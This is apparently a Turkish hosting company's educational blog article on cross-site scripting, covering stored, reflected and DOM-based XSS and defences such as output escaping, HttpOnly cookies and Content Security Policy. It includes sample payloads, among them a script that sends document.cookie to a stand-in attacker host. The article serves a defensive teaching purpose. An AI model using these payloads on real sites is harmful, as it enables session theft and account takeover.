XSS (Cross-Site Scripting) Saldırısı Nedir?

Bir web uygulaması düşünün: kullanıcı bir yorum yazıyor, bir arama kutusuna kelime giriyor ya da profiline bir isim kaydediyor. Bu verilerin hepsi eninde sonunda bir başka kullanıcının tarayıcısında bir HTML sayfasının parçası olarak görüntüleniyor. İşte tam burada, uygulamanın kullanıcıdan gelen veriyi güvenli sanıp doğrudan sayfaya bastığı anda XSS (Cross-Site Scripting) açığı doğar. Saldırgan yorum alanına düz bir metin yerine <script> etiketiyle sarılmış bir JavaScript kodu yazar; uygulama bunu olduğu gibi kaydedip başka ziyaretçilere sunduğunda, o kod artık kurbanın tarayıcısında, kurbanın oturumu ve yetkileriyle çalışır.

XSS, OWASP'ın yıllardır en tehlikeli web zafiyetleri listesinde tutunan, sömürülmesi görece kolay ama sonuçları ağır olan bir saldırı sınıfıdır. Bu rehberde zararlı betiğin bir sayfaya nasıl enjekte olup başka bir kullanıcıda çalıştığını; stored, reflected ve DOM tabanlı XSS türlerinin nasıl ayrıştığını; çerez çalmadan hesap ele geçirmeye kadar hangi zararların verilebildiğini ve en önemlisi çıktı kaçışı, girdi doğrulama, HttpOnly çerezler ve Content Security Policy ile bu saldırıyı nasıl kesin biçimde durduracağınızı, kıdemli bir sistem yöneticisinin anlatımıyla ve gerçek örneklerle ele alacağız.

XSS Nasıl Çalışır? Betiğin Sayfaya Enjekte Olması#

XSS'in temelinde tek bir mantık hatası vardır: uygulama, kullanıcıdan gelen bir veriyi "veri" olarak değil "kod" olarak yorumlanabilecek bir bağlama koyar. Tarayıcı bir HTML belgesini okurken metin ile etiketleri ayırt eder; < karakterini gördüğünde bir etiketin başladığını varsayar. Eğer kullanıcının yazdığı bir metin, kaçışlanmadan doğrudan HTML içine gömülürse, kullanıcının yazdığı <script> gerçek bir script etiketi hâline gelir.

Klasik, açık bir örnek üzerinden gidelim. Bir PHP uygulaması, arama kutusuna yazılanı sonuç sayfasında geri gösteriyor olsun:

// Zafiyetli kod: kullanıcı girdisi doğrudan HTML'e basılıyor
$q = $_GET['q'];
echo "<p>Aradığınız kelime: " . $q . "</p>";

Normal bir ziyaretçi hosting yazdığında sayfada "Aradığınız kelime: hosting" görünür. Ama saldırgan URL'yi şöyle hazırlarsa:

https://ornek-site.com/ara?q=<script>alert(document.cookie)</script>

Uygulama bu girdiyi hiç süzmeden sayfaya bastığı için tarayıcı şunu üretir:

<p>Aradığınız kelime: <script>alert(document.cookie)</script></p>

Artık <script> gerçek bir betiktir ve sayfayı açan herkeste çalışır. alert masum görünür ama onun yerine kurbanın oturum çerezini uzaktaki bir sunucuya gönderen bir kod da olabilir. İşin can alıcı noktası şudur: kod, saldırganın değil, kurbanın tarayıcısında ve kurbanın kimliğiyle çalışır. Tarayıcı için bu betik, sitenin kendi kodundan ayırt edilemez; aynı köken (same-origin) içinde olduğu için sayfadaki çerezlere, DOM'a, localStorage'a ve kullanıcının yapabildiği her isteğe erişebilir.

XSS'in üç ana türü, zararlı verinin uygulamaya nereden girdiğine ve nerede çalıştığına göre ayrışır. Şimdi bunları tek tek görelim.

Stored XSS: Kalıcı ve En Tehlikeli Tür#

Stored (kalıcı/depolanmış) XSS, zararlı betiğin sunucunun veritabanına, dosya sistemine ya da bir önbelleğe kaydedildiği ve oradan her ziyaretçiye tekrar tekrar sunulduğu türdür. Saldırganın tek bir kez enjekte etmesi yeterlidir; kod artık o sayfayı açan herkeste, saldırgan hiçbir şey yapmadan çalışmaya devam eder.

Tipik senaryolar: bir blog yorumu, forum gönderisi, ürün değerlendirmesi, kullanıcı profili "hakkımda" alanı, destek talebi mesajı. Diyelim bir e-ticaret sitesinde ürün yorumu alanı girdiyi süzmüyor. Saldırgan şu yorumu bırakır:

Harika ürün!<script>
  new Image().src = "https://saldirgan.com/c?d=" + encodeURIComponent(document.cookie);
</script>

Bu yorum veritabanına kaydedilir. Ürünü inceleyen her müşteri, hatta yorumları moderasyon panelinde gözden geçiren yönetici, bu sayfayı açtığında betik onların tarayıcısında çalışır ve oturum çerezlerini saldırganın sunucusuna sızdırır. Yöneticinin çerezi çalınırsa saldırgan tüm siteyi ele geçirebilir.

Stored XSS'in en tehlikeli tür sayılmasının nedeni budur: geniş kitleye ulaşır, kurbanın özel bir bağlantıya tıklamasını gerektirmez ve yönetici panelleri gibi yüksek yetkili alanlara sıçrayabilir. Yorum, mesaj, profil gibi kullanıcı içeriğini saklayan her uygulamada bu riski ciddiye almak gerekir. Kullanıcı içeriğiyle yoğun çalışan WordPress siteleri özellikle bu türe açıktır; eklentilerin form alanları yaygın bir giriş noktasıdır.

Reflected XSS: URL ve Formlardan Yansıyan Saldırı#

Reflected (yansıyan) XSS'te zararlı kod sunucuda saklanmaz; isteğin içinde gelir ve aynı istekte yanıt sayfasına yansıtılır. Yukarıdaki arama kutusu örneği tam olarak budur: ?q= parametresine konan betik, arama sonucu sayfasında geri basılır ve çalışır.

Kod kalıcı olmadığı için saldırganın kurbanı özel olarak hazırlanmış bir bağlantıya tıklatması gerekir. Saldırı zinciri genellikle şöyle işler:

# 1. Saldırgan zafiyetli parametreyi taşıyan bir bağlantı hazırlar
https://banka-portali.com/hata?mesaj=<script>...para transferi...</script>

# 2. Bu bağlantıyı e-posta, SMS veya sosyal medyayla kurbana ulaştırır
# 3. Kurban tıklar; site betiği sayfaya yansıtır; kod kurbanın oturumunda çalışır

Reflected XSS sıklıkla oltalama (phishing) ile birlikte kullanılır: bağlantı sitenin kendi meşru alan adını taşıdığı için kurban güvenir, ama içine gizlenmiş betik onun oturumuyla arka planda işlem yapar veya çerezini çalar. Hata sayfaları, arama sonuçları, "sayfa bulunamadı" mesajları ve form geri bildirimleri en sık görülen yansıma noktalarıdır; çünkü bunların hepsi kullanıcı girdisini ekrana geri basma eğilimindedir.

DOM Tabanlı XSS: Tamamen Tarayıcıda Oluşan Açık#

DOM tabanlı XSS, diğer ikisinden önemli bir noktada ayrılır: zararlı akış hiç sunucuya uğramaz. Açık, sayfanın istemci tarafı JavaScript kodunun, kullanıcı kontrolündeki bir kaynaktan (URL'nin #hash kısmı, location.search, document.referrer gibi) aldığı veriyi güvensiz bir "sink"e — örneğin innerHTML, document.write veya eval — yazmasından doğar. Sunucu logunda bile görünmeyebilir; çünkü zararlı yük genellikle # karakterinden sonra gelir ve tarayıcı bu kısmı sunucuya göndermez.

Zafiyetli bir istemci kodu şöyle görünür:

// Zafiyetli: URL'deki hash doğrudan DOM'a yazılıyor
const isim = decodeURIComponent(location.hash.substring(1));
document.getElementById("selam").innerHTML = "Merhaba " + isim;

Saldırgan şu bağlantıyı hazırlar:

https://ornek-site.com/panel#<img src=x onerror=alert(document.cookie)>

innerHTML bu dizeyi HTML olarak ayrıştırır; <img> etiketinin src değeri geçersiz olduğundan onerror olayı tetiklenir ve içindeki kod çalışır. Modern tek sayfa uygulamaları (SPA), React/Vue gibi çerçeveler yanlış kullanıldığında ya da dangerouslySetInnerHTML benzeri kaçışlar bilinçsizce açıldığında bu tür yaygınlaşır. DOM tabanlı XSS'e karşı savunmanın birinci kuralı, güvensiz sink'lere kullanıcı verisi yazmamak; yazmak zorundaysanız textContent gibi HTML yorumlamayan API'leri kullanmaktır.

Üç türü tek bakışta karşılaştıralım:

XSS ile Neler Yapılabilir? Çerez Çalmadan Ötesi#

XSS'i "sadece bir alert kutusu açtırmak" sanmak büyük yanılgıdır. Betik kurbanın oturumu içinde çalıştığı için, kurbanın o sayfada elle yapabileceği hemen her şeyi otomatik ve sessizce yapabilir. Başlıca zarar senaryoları:

• Oturum/çerez çalma: document.cookie okunup saldırganın sunucusuna gönderilir. HttpOnly işaretli olmayan oturum çerezleri bu yolla ele geçirilir; saldırgan çerezi kendi tarayıcısına yükleyip parolasız oturum açar.
• Hesap ele geçirme: Betik, kurban adına e-posta veya parola değiştirme isteği gönderebilir. CSRF token'ları sayfadan okunabildiği için XSS, CSRF korumasını da aşar.
• Klavye ve form dinleme (keylogging): Sayfaya eklenen dinleyiciler, giriş formuna yazılan kullanıcı adı ve parolayı yakalar.
• Sahte arayüz enjeksiyonu: Sayfaya sahte bir giriş penceresi çizilerek kimlik bilgileri toplanır; kullanıcı gerçek sitede olduğu için şüphelenmez.
• Solucan (worm) davranışı: Stored XSS, sosyal ağlarda kendini kurbanın profiline kopyalayarak geometrik hızla yayılabilir; tarihin en ünlü örneklerinden biri bir dakikada milyonlarca hesabı etkilemiştir.
• Tarayıcı ve iç ağ istismarı: Betik, kurbanın tarayıcısını bir sıçrama tahtası gibi kullanıp iç ağdaki panellere istek atabilir.

Kısacası XSS, tek başına tam bir hesap ele geçirmeye, veri sızıntısına ve marka itibarının zedelenmesine yol açabilecek bir zafiyettir; asla düşük öncelikli bir "kozmetik" hata olarak görülmemelidir.

Birincil Savunma: Çıktı Kaçışı (Output Encoding)#

XSS'e karşı en temel ve en etkili savunma çıktı kaçışıdır. Mantık basittir: veriyi tam olarak hangi bağlama basıyorsanız, o bağlamda "kod" gibi yorumlanabilecek özel karakterleri zararsız karşılıklarına çevirirsiniz. HTML gövdesine basıyorsanız < karakterini <, > karakterini >, " karakterini " yaparsınız. Böylece tarayıcı kullanıcının yazdığı <script> ifadesini bir etiket değil, ekranda görünen düz metin olarak işler.

Önemli olan, kaçışın bağlama duyarlı olmasıdır. Aynı veri HTML gövdesinde, bir HTML özniteliği içinde, bir JavaScript bloğunda ya da bir URL parametresinde farklı kaçış kuralları gerektirir. Neyse ki modern şablon motorları bu işi çoğunlukla varsayılan olarak yapar:

// PHP: HTML bağlamı için doğru kaçış
echo "<p>Aradığınız kelime: " . htmlspecialchars($q, ENT_QUOTES, 'UTF-8') . "</p>";

// JavaScript (DOM): innerHTML yerine textContent — kaçışa gerek kalmadan güvenli
document.getElementById("selam").textContent = "Merhaba " + isim;

React, Vue ve Angular gibi modern çerçeveler, {degisken} ile bastığınız her değeri otomatik olarak kaçışlar; bu yüzden bu çerçevelerde XSS çoğunlukla ancak dangerouslySetInnerHTML veya v-html gibi kaçışı devre dışı bırakan yolları bilinçli kullandığınızda ortaya çıkar. Altın kural: veriyi girerken değil, çıkarken (ekrana basarken) kaçışlayın ve bunu asla elle string birleştirmeye bırakmayın; şablon motorunun güvenli varsayılanına güvenin. Yine de kullanıcıdan zengin HTML kabul etmek zorundaysanız (örneğin bir editör çıktısı), ham HTML'i DOMPurify gibi olgun bir kütüphaneyle beyaz listeye göre temizlemeden asla basmayın.

Girdi Doğrulama ve HttpOnly Çerezlerle Derinlemesine Savunma#

Çıktı kaçışı birincil savunmadır, ama tek başına bırakılmaz. Katmanlı güvenlik yaklaşımında yanına iki önemli önlem daha eklenir.

Girdi doğrulama (input validation): Kullanıcıdan gelen veriyi beklenen biçime göre daha giriş anında süzersiniz. Bu, XSS'in birincil çözümü değildir (asıl iş çıktı kaçışıyla olur) ama saldırı yüzeyini daraltır. Bir telefon alanına yalnızca rakam, bir kullanıcı adına yalnızca harf-rakam kabul etmek, birçok zararlı yükü daha kapıda eler. Önemli ilke: kara liste değil, beyaz liste kullanın — "şu tehlikeli karakterleri engelle" yaklaşımı her zaman aşılır; "yalnızca şu izinli karaktere izin ver" yaklaşımı çok daha sağlamdır.

// Beyaz liste doğrulama: sadece izin verilen karakter setine izin ver
const kullaniciAdi = girdi.trim();
if (!/^[a-zA-Z0-9_]{3,20}$/.test(kullaniciAdi)) {
  throw new Error("Geçersiz kullanıcı adı");
}

HttpOnly çerezler: XSS'in en sık hedefi oturum çerezidir. Çerezi HttpOnly bayrağıyla işaretlerseniz, JavaScript o çereze document.cookie üzerinden erişemez; bir XSS açığı çalışsa bile oturum çerezini okuyup çalamaz. Bunu Secure (yalnızca HTTPS) ve SameSite bayraklarıyla birlikte kullanmak standart olmalıdır:

# Nginx üzerinden çerez bayraklarını zorunlu kılma örneği
add_header Set-Cookie "sessionid=abc; HttpOnly; Secure; SameSite=Strict; Path=/";

; PHP oturum çerezini uygulama genelinde sertleştirme
session.cookie_httponly = 1
session.cookie_secure = 1
session.cookie_samesite = "Strict"

HttpOnly, XSS'i önlemez ama en pahalı sonucu olan oturum çalınmasını büyük ölçüde engeller. Saldırgan betiği çalıştırsa bile en değerli ganimeti, oturum çerezini alamaz. Bu, "açık olsa bile zarar sınırlı olsun" felsefesinin tipik bir örneğidir.

Content Security Policy ile Son Savunma Hattı#

Kaçış ve doğrulamayı doğru yaptığınızı varsayalım; yine de kodun bir köşesinde bir açık kalmış olabilir. İşte Content Security Policy (CSP) tam bu ihtimale karşı devreye giren emniyet ağıdır. CSP, tarayıcıya bir HTTP başlığıyla "bu sayfada yalnızca şu kaynaklardan gelen betikler çalışabilir" der. Enjekte edilen bir satır içi <script> bu politikaya uymadığı için, açık sömürülse bile betik çalıştırılmadan engellenir.

Temel bir CSP başlığı şöyle görünür:

# Nginx: sıkı bir başlangıç CSP politikası
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self'" always;

Bu politikanın kalbi script-src 'self' yönergesidir: betikler yalnızca sitenin kendi kökeninden yüklenebilir; saldırganın enjekte ettiği satır içi kod ve dış alan adından çekilen betikler engellenir. Kritik nokta şudur: politikanıza kesinlikle 'unsafe-inline' eklemeyin, çünkü bu anahtar tam da XSS'in ihtiyaç duyduğu satır içi betik çalıştırmayı yeniden açar ve CSP'nin XSS'e karşı değerinin neredeyse tamamını yok eder. Satır içi betiğiniz gerçekten varsa, onları nonce veya hash ile beyaz listeye almak doğru yoldur.

CSP'yi mevcut bir siteyi kırmadan devreye almak için önce Report-Only modunda yayınlayıp hangi meşru kaynakların engelleneceğini gözlemlemek en güvenli yöntemdir:

# Kademeli devreye alma yaklaşımı
asama_1: Content-Security-Policy-Report-Only   # sadece raporla, engelleme
asama_2: raporları incele, meşru kaynakları beyaz listeye al
asama_3: Content-Security-Policy               # gerçek başlığa geç, engelle

CSP'nin XSS savunmasındaki rolünü, nonce/hash kullanımını ve sunucu tarafı süzmeyi daha ayrıntılı incelemek için WAF rehberimize ve WAF çözümlerimize göz atabilirsiniz. Unutmayın: CSP birincil değil, ikincil savunmadır; kaçış ve doğrulamanın yerine değil, üstüne konur.

Katmanlı Bir XSS Savunma Kontrol Listesi#

XSS'e karşı tek bir sihirli çözüm yoktur; güç, katmanların üst üste binmesinden gelir. Bir saldırgan bir katmanı aşsa bile diğerine toslar. Uygulamanızı canlıya almadan önce şu kontrol listesini geçirin:

# 1. Tüm çıktı noktaları bağlama uygun kaçışlanıyor mu? (HTML/attr/JS/URL)
# 2. Şablon motorunun otomatik kaçışı hiçbir yerde kapatılmış mı? (grep ile ara)
grep -rn "dangerouslySetInnerHTML\|v-html\|innerHTML\|document.write\|eval(" src/

# 3. Ham HTML kabul edilen alanlar DOMPurify gibi bir kütüphaneyle temizleniyor mu?
# 4. Oturum çerezleri HttpOnly + Secure + SameSite bayraklı mı?
# 5. Katı bir CSP (script-src 'self', unsafe-inline YOK) yayınlanıyor mu?
# 6. Girdi doğrulama beyaz liste temelli mi?

Bu adımlar birlikte uygulandığında XSS riski pratikte ortadan kalkar. Kritik bir noktayı tekrar vurgulayalım: bu katmanların hiçbiri diğerinin yerine geçmez. HttpOnly XSS'i önlemez, çerezi korur; CSP açığı kapatmaz, sömürüyü engeller; kaçış ise açığın hiç doğmamasını sağlar. Üçü bir aradayken savunma sağlam olur. Sunucu tarafında bu politikaları doğru kurmak için ekstra bir çift göz istiyorsanız sunucu yönetimi hizmetimiz tam da bu tür sertleştirmeleri yapar.

Sıkça Sorulan Sorular#

XSS ile SQL Injection arasındaki fark nedir?#

İkisi de kullanıcı girdisinin güvenli sanılıp bir bağlama gömülmesinden doğar ama hedefleri farklıdır. SQL Injection sunucudaki veritabanını hedef alır ve zararlı kod SQL sorgusu içinde çalışır; amaç veriyi okumak, değiştirmek veya silmektir. XSS ise başka bir kullanıcının tarayıcısını hedef alır ve zararlı kod JavaScript olarak kurbanın oturumunda çalışır; amaç çerez çalmak, oturum ele geçirmek veya kullanıcı adına işlem yapmaktır. Kabaca SQL Injection sunucuya, XSS istemciye yönelik bir enjeksiyon saldırısıdır.

Sadece HTTPS kullanmak XSS'i engeller mi?#

Hayır, HTTPS ve XSS tamamen farklı sorunları çözer. HTTPS, tarayıcı ile sunucu arasındaki trafiği şifreleyerek aradaki bir dinleyicinin veriyi okumasını veya değiştirmesini engeller; ama XSS açığı zaten uygulamanın kendi mantığındadır ve kod meşru sayfanın içinde, şifreli bağlantı üzerinden gayet düzgün biçimde çalışır. Yani bir site tümüyle HTTPS olabilir ve yine de XSS'e sonuna kadar açık olabilir. SSL sertifikası güvenliğin bir parçasıdır ama XSS savunması değildir; ikisini ayrı ayrı ele almanız gerekir.

Modern çerçeveler (React, Vue) beni XSS'ten tamamen korur mu?#

Büyük ölçüde korurlar ama tamamen değil. React ve Vue, değişkenleri ekrana bastığınızda varsayılan olarak otomatik kaçış yapar; bu, en sık XSS hatalarını doğal olarak önler. Ancak dangerouslySetInnerHTML, v-html gibi kaçışı bilinçli olarak devre dışı bırakan yolları kullandığınızda ya da bir URL'yi doğrulamadan href özniteliğine koyduğunuzda açık geri gelir. Çerçeveler güvenli varsayılanlar sunar, güvenliği garanti etmez; kaçışı kapatan her API'yi bir uyarı işareti olarak görmeli ve o veriyi mutlaka temizlemelisiniz.

WAF kurmak XSS'e karşı yeterli olur mu?#

WAF değerli bir katmandır ama tek başına yeterli değildir. Bir WAF, gelen isteklerde bilinen XSS örüntülerini tanıyıp süzerek birçok otomatik saldırıyı ve bilinen yükleri sunucuya varmadan durdurur; bu, uygulama kodunu düzeltene kadar da hızlı bir kalkan sağlar. Ancak hedefli, kodlama numaralarıyla gizlenmiş yükler bir imza tabanlı WAF'ı atlatabilir. WAF'ı, uygulama içindeki çıktı kaçışı ve CSP gibi asıl çözümlerin yerine değil, onları tamamlayan bir dış katman olarak konumlandırın. Konuyu derinleştirmek için WAF rehberimizi inceleyebilirsiniz.

XSS açığı olup olmadığını kendim nasıl test ederim?#

En basit başlangıç, kullanıcı girdisinin ekrana yansıdığı her alana zararsız bir sonda yük girmektir; örneğin arama kutusuna veya bir form alanına <b>test</b> yazın. Eğer sayfada kalın harfle "test" görünüyorsa, tarayıcı sizin girdinizi HTML olarak yorumluyor demektir ve o nokta XSS'e açıktır. Daha kapsamlı test için farklı bağlamları hedefleyen yükler denemeli ve OWASP ZAP, Burp Suite gibi otomatik tarayıcılarla uygulamayı taramalısınız. Kritik bir uygulamada bunu tahmine bırakmak yerine bir güvenlik uzmanına sızma testi yaptırmanız en sağlıklısıdır.

Enjekte edilen betik neden kurbanın hesabına erişebiliyor?#

Çünkü tarayıcının "aynı köken politikası" (same-origin policy) mantığında, bir sayfada çalışan her betik o sayfanın kökeninin tam yetkisine sahiptir. Enjekte edilen kod dışarıdan gelse de sitenin kendi sayfası içinde, sitenin kendi alan adı altında çalıştığı için tarayıcı onu sitenin meşru kodundan ayırt edemez. Bu yüzden betik, kurbanın oturum çerezlerine, sayfadaki forma, CSRF token'larına ve kullanıcının yapabildiği tüm isteklere erişebilir. XSS'i bu kadar tehlikeli yapan da tam olarak budur: saldırgana kurbanın kimliği ve yetkisi geçici olarak devredilir.

Kapanış#

XSS, kökeninde tek bir ihmalden doğar: kullanıcı verisini "kod" olarak yorumlanabilecek bir bağlama, süzmeden basmak. Stored türü bunu kalıcı ve geniş kitleye yayarken, reflected türü hedefli bağlantılarla, DOM tabanlı türü ise tamamen tarayıcı içinde işler. Sonuçları çerez çalmadan tam hesap ele geçirmeye kadar uzanır. İyi haber şu ki savunması iyi bilinir ve etkilidir: bağlama duyarlı çıktı kaçışı açığın doğmasını engeller, beyaz liste girdi doğrulama yüzeyi daraltır, HttpOnly çerezler en pahalı sonucu olan oturum çalınmasını durdurur ve katı bir Content Security Policy kalan her ihtimale karşı son emniyet ağını gerer. Bu katmanlar üst üste bindiğinde XSS pratikte anlamsız hâle gelir.

Clou.TR olarak güvenliği tek bir ürüne değil, altyapının bütününe yayılan bir kültür olarak görüyoruz. Ücretsiz SSL destekli hosting paketlerimiz ve özel olarak sertleştirilmiş WordPress hosting altyapımız güvenli varsayılanlarla gelir; gelişmiş saldırı süzme için WAF ve DDoS koruma çözümlerimiz, uygulama içi önlemlerinizi tamamlar. Sunucularınızda CSP, HttpOnly ve güvenlik başlıklarını doğru kurmak için sunucu yönetimi hizmetimizden yararlanabilir; kesintisiz bir güvenlik duruşu için yedekleme çözümlerimizle verinizi her zaman koruma altına alabilirsiniz. Web varlığınızı baştan sağlam kurmak isterseniz ekibimiz yol boyunca yanınızda.